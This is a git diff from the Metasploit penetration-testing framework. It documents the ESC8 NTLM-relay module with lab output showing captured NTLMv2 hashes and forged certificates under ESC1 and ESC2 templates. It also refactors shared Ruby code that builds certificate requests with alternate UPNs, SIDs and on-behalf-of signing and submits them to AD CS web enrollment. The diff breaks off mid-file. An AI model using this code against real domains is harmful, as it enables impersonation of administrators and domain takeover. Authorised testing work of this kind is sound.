a/documentation/modules/auxiliary/server/relay/esc8.md b/documentation/modules/auxiliary/server/relay/esc8.md index 71fdc0a77c..bdd66f29f6 100644 --- a/documentation/modules/auxiliary/server/relay/esc8.md +++ b/documentation/modules/auxiliary/server/relay/esc8.md @@ -33,9 +33,60 @@ The template to issue if MODE is SPECIFIC_TEMPLATE. ## Scenarios -### Version and OS +### NTLM ``` +msf auxiliary(server/relay/esc8) > show options + +Module options (auxiliary/server/relay/esc8): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN) + CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can + be a path. + JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 ha + shes, each of which is stored in separate files. Can also be a path. + MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported prox + ies: socks5h, sapni, socks4, http, socks5 + RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has + initiated communication. + RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba + sics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SMBDomain WORKGROUP yes The domain name used during SMB exchange. + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on + the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 445 yes The local port to listen on. + SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has + initiated communication. + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + VHOST no HTTP server virtual host + + + When MODE is SPECIFIC_TEMPLATE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE. + + +Auxiliary action: + + Name Description + ---- ----------- + Relay Run SMB ESC8 relay server + + + +View the full module info with the info, or info -d command. + msf auxiliary(server/relay/esc8) > run [*] Auxiliary module running as background job 1. msf auxiliary(server/relay/esc8) > @@ -63,3 +114,157 @@ msf auxiliary(server/relay/esc8) > [*] Received request for MSFLAB\smcintyre [*] Identity: MSFLAB\smcintyre - All targets relayed to ``` + + +### NTLM and ESC1 + +``` +msf auxiliary(server/relay/esc8) > show options + +Module options (auxiliary/server/relay/esc8): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN Administrator@example.com no Alternative certificate UPN (format: USER@DOMAIN) + CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can + be a path. + JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 ha + shes, each of which is stored in separate files. Can also be a path. + MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLATE) + ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER) + PFX no Certificate to request on behalf of + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported prox + ies: socks5h, sapni, socks4, http, socks5 + RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has + initiated communication. + RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba + sics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SMBDomain WORKGROUP yes The domain name used during SMB exchange. + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on + the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 445 yes The local port to listen on. + SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has + initiated communication. + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + VHOST no HTTP server virtual host + + + When MODE is SPECIFIC_TEMPLATE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CERT_TEMPLATE ESC1-Template no The template to issue if MODE is SPECIFIC_TEMPLATE. + + +Auxiliary action: + + Name Description + ---- ----------- + Relay Run SMB ESC8 relay server + + + +View the full module info with the info, or info -d command. + +msf auxiliary(server/relay/esc8) > run +[*] Auxiliary module running as background job 0. +msf auxiliary(server/relay/esc8) > +[*] SMB Server is running. Listening on 0.0.0.0:445 +[*] Server started. +[*] New request from 10.5.132.122 +[*] Received request for \msfuser +[*] Relaying to next target http://10.5.132.180:80/certsrv/ +[+] Identity: \msfuser - Successfully authenticated against relay target http://10.5.132.180:80/certsrv/ +[SMB] NTLMv2-SSP Client : 10.5.132.180 +[SMB] NTLMv2-SSP Username : \msfuser +[SMB] NTLMv2-SSP Hash : msfuser:::af0b69bf0b95c55e:db5ce84b2f41b82d7df93bd2566c06b6:0101000000000000cbf836e63587dc013ce37255fbca75410000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d0007000800cbf836e63587dc01060004000200000008003000300000000000000000000000003000002ad3656a59fe53f773d5bc3852373338e1f3270cdbdf9411b84ef184151925510a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000 + +[+] Certificate generated using template ESC1-Template and \msfuser +[+] Certificate for \msfuser using template ESC1-Template saved to /home/tmoose/.msf4/loot/20260116161729_default_10.5.132.180_windows.ad.cs_994769.pfx +[*] Received request for \msfuser +[*] Identity: \msfuser - All targets relayed to + +``` + +### NTLM and ESC2 +```msf +msf auxiliary(server/relay/esc8) > show options + +Module options (auxiliary/server/relay/esc8): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ALT_DNS no Alternative certificate DNS + ALT_SID no Alternative object SID + ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN) + CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 h + ashes. Can be a path. + JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 an + d NTLMv2 hashes, each of which is stored in separate files. Can a + lso be a path. + MODE SPECIFIC_TEMPLATE yes The issue mode. (Accepted: ALL, AUTO, QUERY_ONLY, SPECIFIC_TEMPLA + TE) + ON_BEHALF_OF EXAMPLE\Administrator no Username to request on behalf of (format: DOMAIN\USER) + PFX /home/tmoose/.msf4/loot/202601161509 no Certificate to request on behalf of + 11_default_10.5.132.180_windows.ad.c + s_854591.pfx + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Sup + ported proxies: socks5h, sapni, socks4, http, socks5 + RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the + client has initiated communication. + RHOSTS 10.5.132.180 yes The target host(s), see https://docs.metasploit.com/docs/using-me + tasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SMBDomain WORKGROUP yes The domain name used during SMB exchange. + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an + address on the local machine or 0.0.0.0 to listen on all address + es. + SRVPORT 445 yes The local port to listen on. + SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the + client has initiated communication. + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /certsrv/ yes The URI for the cert server. + VHOST no HTTP server virtual host + + + When MODE is SPECIFIC_TEMPLATE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CERT_TEMPLATE User no The template to issue if MODE is SPECIFIC_TEMPLATE. + + +Auxiliary action: + + Name Description + ---- ----------- + Relay Run SMB ESC8 relay server + + + +View the full module info with the info, or info -d command. + +msf auxiliary(server/relay/esc8) > run +[*] Auxiliary module running as background job 0. +msf auxiliary(server/relay/esc8) > +[*] SMB Server is running. Listening on 0.0.0.0:445 +[*] Server started. +[*] New request from 10.5.132.122 +[*] Received request for \msfuser +[*] Relaying to next target http://10.5.132.180:80/certsrv/ +[+] Identity: \msfuser - Successfully authenticated against relay target http://10.5.132.180:80/certsrv/ +[SMB] NTLMv2-SSP Client : 10.5.132.180 +[SMB] NTLMv2-SSP Username : \msfuser +[SMB] NTLMv2-SSP Hash : msfuser:::916940a20e939a34:7f5150c74cba44513fcb2e7ed28e8f45:0101000000000000bf1765b93787dc01c7c75e835e16b4ad0000000002000e004500580041004d0050004c00450001001e00570049004e002d00440052004300390048004300440049004d0041005400040016006500780061006d0070006c0065002e0063006f006d0003003600570049004e002d00440052004300390048004300440049004d00410054002e006500780061006d0070006c0065002e0063006f006d00050016006500780061006d0070006c0065002e0063006f006d0007000800bf1765b93787dc01060004000200000008003000300000000000000000000000003000002ad3656a59fe53f773d5bc3852373338e1f3270cdbdf9411b84ef184151925510a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000 + +[+] Certificate generated using template User and \msfuser +[+] Certificate for \msfuser using template User saved to /home/tmoose/.msf4/loot/20260116163102_default_10.5.132.180_windows.ad.cs_883392.pfx +[*] Received request for \msfuser +[*] Identity: \msfuser - All targets relayed to + + +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/cert_request.rb b/lib/msf/core/exploit/remote/cert_request.rb new file mode 100644 index 0000000000..e141cdede1 --- /dev/null +++ b/lib/msf/core/exploit/remote/cert_request.rb @@ -0,0 +1,66 @@ +### +# +# This mixin provides methods wrapping CSR request methods in re/proto/x509/request +# +# -*- coding: binary -*- + +require 'rex/proto/x509/request' + +module Msf + + module Exploit::Remote::CertRequest + + def create_csr(opts={}) + rsa_key_size = opts.fetch(:rsa_key_size) { datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i } + # can we double check if the key size is correct here when we are passed a private key? + private_key = (opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size)) + if private_key.n.num_bits != rsa_key_size + elog("RSA key size mismatch") + raise ArgumentError, "RSA key size mismatch in create_csr()" + end + vprint_status("RSA key size: #{rsa_key_size}") + user = opts[:username] + status_msg = "Requesting a certificate for user #{user}" + alt_dns = opts.fetch(:alt_dns) { datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'] } + alt_sid = opts.fetch(:alt_sid) { datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'] } + alt_upn = opts.fetch(:alt_upn) { datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'] } + algorithm = opts.fetch(:algorithm) { datastore['DigestAlgorithm'].blank? ? 'SHA256' : datastore['DigestAlgorithm'] } + application_policies = opts.fetch(:add_cert_app_policy) { datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/) } + status_msg << " - alternate DNS: #{alt_dns}" if alt_dns + status_msg << " - alternate UPN: #{alt_upn}" if alt_upn + status_msg << " - digest algorithm: #{algorithm}" if algorithm + csr = Rex::Proto::X509::Request.build_csr( + cn: user, + private_key: private_key, + dns: alt_dns, + msext_sid: alt_sid, + msext_upn: alt_upn, + algorithm: algorithm, + application_policies: application_policies + ) + + pkcs12 = nil + if opts.key?(:pkcs12) + pkcs12 = opts[:pkcs12] + elsif datastore['PFX'].present? + pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX'])) + end + + on_behalf_of = opts.fetch(:on_behalf_of) { datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'] } + status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of + if pkcs12 && on_behalf_of + vprint_status("Building certificate request on behalf of #{on_behalf_of}") + csr = Rex::Proto::X509::Request.build_on_behalf_of( + csr: csr, + on_behalf_of: on_behalf_of, + cert: pkcs12.certificate, + key: pkcs12.key, + algorithm: algorithm + ) + end + vprint_status status_msg + csr + end +end +end + diff --git a/lib/msf/core/exploit/remote/http/web_enrollment.rb b/lib/msf/core/exploit/remote/http/web_enrollment.rb new file mode 100644 index 0000000000..fb339acba2 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/web_enrollment.rb @@ -0,0 +1,126 @@ + +require 'rex/proto/x509/request' + +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with the Microsoft AD/CS web enrollment portal + module WebEnrollment + + include Msf::Exploit::Remote::CertRequest + include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts + + def get_cert_templates(authenticated_client) + print_status('Retrieving available template list, this may take a few minutes') + res = send_request_raw( + { + 'client' => authenticated_client, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'certrqxt.asp') + } + ) + return nil unless res&.code == 200 + + cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first) + print_bad('Found no available certificate templates') if cert_templates.empty? + cert_templates + end + + def add_cert_entry(connection_identity, cert_template) + if @issued_certs.key?(connection_identity) + @issued_certs[connection_identity] << cert_template + else + @issued_certs[connection_identity] = [ cert_template ] + end + end + + def retrieve_certs(target_ip, authenticated_client, connection_identity, cert_templates) + cert_templates.each do |cert_template| + retrieve_cert(target_ip, authenticated_client, connection_identity, cert_template) + end + end + + def cert_issued?(connection_identity, cert_template) + !!@issued_certs[connection_identity]&.include?(cert_template) + end + + def retrieve_cert(target_ip, authenticated_connection, connection_identity, cert_template) + if cert_issued?(connection_identity, cert_template) + print_status("Certificate already created for #{connection_identity} using #{cert_template}, skipping...") + return nil + end + + vprint_status("Creating certificate request for #{connection_identity} using the #{cert_template} template") + opts = { username: connection_identity.split('\\').last } + rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i + private_key = OpenSSL::PKey::RSA.new(rsa_key_size) + opts[:private_key] = private_key + csr = create_csr(opts) + + cert_template_string = "CertificateTemplate:#{cert_template}" + vprint_status('Requesting target generate certificate...') + res = send_request_raw( + { + 'client' => authenticated_connection, + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'Mode' => 'newreq', + 'CertRequest' => Rex::Text.encode_base64(csr.to_der.to_s), + 'CertAttrib' => cert_template_string, + 'TargetStoreFlags' => 0, + 'SaveCert' => 'yes', + 'ThumbPrint' => '' + }, + 'cgi' => true + } + ) + if res&.code == 200 && res.body.include?('request was denied') + print_bad("Certificate request denied using template #{cert_template} and #{connection_identity}") + return nil + end + if res&.code == 200 && res.body.include?('request failed') + print_bad("Certificate request failed using template #{cert_template} and #{connection_identity}") + return nil + end + if res&.code == 401 && res.body.include?('invalid credentials') + print_bad("Invalid Credential Error returned when using template #{cert_template} and #{connection_identity}") + return nil + end + print_good("Certificate generated using template #{cert_template} and #{connection_identity}") + add_cert_entry(connection_identity, cert_template) + begin + location_tag = res.body.match(/^.*location="(.*)"/)[1] + rescue NoMethodError + print_bad('Unable to locate location tag') + return nil + end + + location_uri = normalize_uri(target_uri, location_tag) + vprint_status("Attempting to download the certificate from #{location_uri}") + res = send_request_raw( + { + 'client' => authenticated_connection, + 'method' => 'GET', + 'uri' => location_uri + } + ) + info = "#{connection_identity} Certificate" + certificate = OpenSSL::X509::Certificate.new(res.body) + pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate) + stored_path = store_loot('windows.ad.cs', + 'application/x-pkcs12', + target_ip, + pkcs12.to_der, + 'certificate.pfx', + info) + print_good("Certificate using template #{cert_template} saved to #{stored_path}") + certificate + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http_client.rb b/lib/msf/core/exploit/remote/http_client.rb index 6e4d50a76c..b666659fa6 100644 --- a/lib/msf/core/exploit/remote/http_client.rb +++ b/lib/msf/core/exploit/remote/http_client.rb @@ -48,7 +48,7 @@ module Exploit::Remote::HttpClient OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), Opt::SSLVersion, OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), - OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']), + OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication (Must be FQDN if HTTP::Auth is Kerberos)', 'WORKSTATION']), OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']), OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]), OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]), diff --git a/lib/msf/core/exploit/remote/ldap/active_directory/ad_cs_opts.rb b/lib/msf/core/exploit/remote/ldap/active_directory/ad_cs_opts.rb new file mode 100644 index 0000000000..a40e73aa86 --- /dev/null +++ b/lib/msf/core/exploit/remote/ldap/active_directory/ad_cs_opts.rb @@ -0,0 +1,59 @@ +module Msf + ### + # + # This module exposes methods for querying a remote LDAP service + # + ### + module Exploit::Remote::LDAP::ActiveDirectory + + module AdCsOpts + + + def initialize(info = {}) + super + + register_options([ + OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/), + OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), + OptString.new('ALT_SID', [ false, 'Alternative object SID' ]), + OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), + OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]), + OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), + OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), + ]) + register_advanced_options([ + OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]), + OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ]) + ]) + end + + def validate + errors = {} + if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/ + errors['ALT_SID'] = 'Must be a valid SID.' + end + + if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/ + errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.' + end + + if datastore['ON_BEHALF_OF'].present? + errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/ + errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank? + end + + if datastore['PFX'].present? + begin + OpenSSL::PKCS12.new(File.binread(datastore['PFX'])) + rescue StandardError => e + errors['PFX'] = "Failed to load the PFX file (#{e})" + end + end + + raise OptionValidateError, errors unless errors.empty? + + super + end + end + end +end diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index fa222f0125..a7bc4900e1 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -15,6 +15,8 @@ module Exploit::Remote::MsIcpr include Msf::Exploit::Remote::SMB::Client::Ipc include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::CertRequest + include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts # [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71) OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze @@ -43,49 +45,9 @@ module Exploit::Remote::MsIcpr register_options([ OptString.new('CA', [ true, 'The target certificate authority' ]), - OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]), - OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), - OptString.new('ALT_SID', [ false, 'Alternative object SID' ]), - OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), - OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/), - OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), - OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), Opt::RPORT(445) ], Msf::Exploit::Remote::MsIcpr) - register_advanced_options([ - OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]), - OptEnum.new('RSAKeySize', [ true, 'RSA key size in bits for CSR generation', '2048', %w[1024 2048 3072 4096 8192] ]) - ]) - end - - def setup - errors = {} - if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/ - errors['ALT_SID'] = 'Must be a valid SID.' - end - - if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/ - errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.' - end - - if datastore['ON_BEHALF_OF'].present? - errors['ON_BEHALF_OF'] = 'Must be in the format DOMAIN\\USER.' unless datastore['ON_BEHALF_OF'] =~ /^[^\s@]+\\\S+$/ - errors['PFX'] = 'A PFX file is required when ON_BEHALF_OF is specified.' if datastore['PFX'].blank? - end - - @pkcs12 = nil - if datastore['PFX'].present? - begin - @pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX'])) - rescue StandardError => e - errors['PFX'] = "Failed to load the PFX file (#{e})" - end - end - - raise OptionValidateError, errors unless errors.empty? - - super end def request_certificate(opts = {}) @@ -150,42 +112,25 @@ module Exploit::Remote::MsIcpr end def do_request_cert(icpr, opts) - rsa_key_size = (opts[:rsa_key_size] || datastore['RSAKeySize']).to_i - private_key = OpenSSL::PKey::RSA.new(rsa_key_size) - vprint_status("RSA key size: #{rsa_key_size}") + # Calls to this come from different places with different imports + # and different opts hash values, so we need this here to make + # sure all the data we need is populated user = opts[:username] || datastore['SMBUser'] + rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i + private_key = opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size) + if private_key.n.num_bits != rsa_key_size + elog("RSA key size mismatch") + raise ArgumentError, "RSA key size mismatch in do_request_cert" + end + opts[:private_key] = private_key + opts[:username] = user status_msg = "Requesting a certificate for user #{user}" alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS']) alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID']) alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN']) - algorithm = opts[:algorithm] || datastore['DigestAlgorithm'] application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/)) - status_msg << " - alternate DNS: #{alt_dns}" if alt_dns - status_msg << " - alternate UPN: #{alt_upn}" if alt_upn - status_msg << " - digest algorithm: #{algorithm}" if algorithm - csr = build_csr( - cn: user, - private_key: private_key, - dns: alt_dns, - msext_sid: alt_sid, - msext_upn: alt_upn, - algorithm: algorithm, - application_policies: application_policies - ) - - on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF']) - status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of - if @pkcs12 && on_behalf_of - vprint_status("Building certificate request on behalf of #{on_behalf_of}") - csr = build_on_behalf_of( - csr: csr, - on_behalf_of: on_behalf_of, - cert: @pkcs12.certificate, - key: @pkcs12.key, - algorithm: algorithm - ) - end + csr = create_csr(opts) cert_template = opts[:cert_template] || datastore['CERT_TEMPLATE'] status_msg << " - template: #{cert_template}" attributes = { 'CertificateTemplate' => cert_template } @@ -201,6 +146,7 @@ module Exploit::Remote::MsIcpr attributes['SAN'] = san.join('&') unless san.empty? vprint_status(status_msg) + response = icpr.cert_server_request( attributes: attributes, authority: datastore['CA'], @@ -301,139 +247,6 @@ module Exploit::Remote::MsIcpr pkcs12 end - # Make a certificate signing request. - # - # @param [String] cn The common name for the certificate. - # @param [OpenSSL::PKey] private_key The private key for the certificate. - # @param [String] dns An alternative DNS name to use. - # @param [String] msext_sid An explicit SID to specify for strong identity mapping. - # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature). - # @param [String] algorithm The algorithm to use when signing the CSR. - # @param [Array] application_policies OIDs to add as application policies. - # @return [OpenSSL::X509::Request] The request object. - def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) - Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request| - extensions = [] - - subject_alt_names = [] - subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn - - if msext_sid - subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}" - subject_alt_names << "URI = #{msext_sid}" - end - - subject_alt_names << "DNS = #{dns}" if dns - - unless subject_alt_names.empty? - # factory.create_extension accepts a comma separated list of SANs or a config file of SANs. - # SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory - # The config file requires an identifier we define at the top of the file [alt_names] - subject_alt_names.prepend("[alt_names]") - subject_alt_names_conf = subject_alt_names.join("\n") - config = OpenSSL::Config.parse(subject_alt_names_conf) - factory = OpenSSL::X509::ExtensionFactory.new - factory.config = config - extensions << factory.create_extension('subjectAltName', '@alt_names', false) - end - - if msext_sid - ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { - type_id: OID_NTDS_OBJECTSID, - value: msext_sid - }) - extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) - end - - unless application_policies.blank? - application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new( - certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) } - ) - extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false) - end - - unless extensions.empty? - request.add_attribute(OpenSSL::X509::Attribute.new( - 'extReq', - OpenSSL::ASN1::Set.new( - [OpenSSL::ASN1::Sequence.new(extensions)] - ) - )) - end - end - end - - # Make a certificate request on behalf of another user. - # - # @param [OpenSSL::X509::Request] csr The certificate request to make on behalf of the user. - # @param [String] on_behalf_of The user to make the request on behalf of. - # @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request. - # @param [OpenSSL::PKey::RSA] key The private key to use for signing the request. - # @param [String] algorithm The digest algorithm to use. - # @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content. - def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') - # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined - digest = OpenSSL::Digest.new(algorithm) - unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) } - raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs." - end - - digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name) - - signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( - version: 1, - sid: { - issuer: cert.issuer, - serial_number: cert.serial.to_i - }, - digest_algorithm: { - algorithm: digest_oid - }, - signed_attrs: [ - { - attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR, - attribute_values: [ - RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new( - name: 'requestername', - value: on_behalf_of - )) - ] - }, - { - attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest, - attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))] - } - ], - signature_algorithm: { - algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}") - } - ) - data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der - signature = key.sign(digest, data) - - signer_info[:signature] = signature - - signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( - version: 3, - digest_algorithms: [ - { - algorithm: digest_oid - } - ], - encap_content_info: { - econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData, - econtent: csr.to_der - }, - certificates: [{ openssl_certificate: cert }], - signer_infos: [signer_info] - ) - - Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( - content_type: Rex::Proto::Kerberos::Model::OID::SignedData, - data: signed_data - ) - end - # Get the certificate policy OIDs from the certificate. # # @param [OpenSSL::X509::Certificate] cert diff --git a/lib/rex/proto/kerberos/model.rb b/lib/rex/proto/kerberos/model.rb index 4b94869f45..3450f67004 100644 --- a/lib/rex/proto/kerberos/model.rb +++ b/lib/rex/proto/kerberos/model.rb @@ -27,8 +27,10 @@ module Rex SHA256 = '2.16.840.1.101.3.4.2.1' ContentType = '1.2.840.113549.1.9.3' MessageDigest = '1.2.840.113549.1.9.4' + SHA512 = '2.16.840.1.101.3.4.2.3' RSAWithSHA1 = '1.2.840.113549.1.1.5' RSAWithSHA256 = '1.2.840.113549.1.1.11' + RSAWithSHA512 = '1.2.840.113549.1.1.13' PkinitAuthData = '1.3.6.1.5.2.3.1' SignedData = '1.2.840.113549.1.7.2' end diff --git a/lib/rex/proto/x509/request.rb b/lib/rex/proto/x509/request.rb index 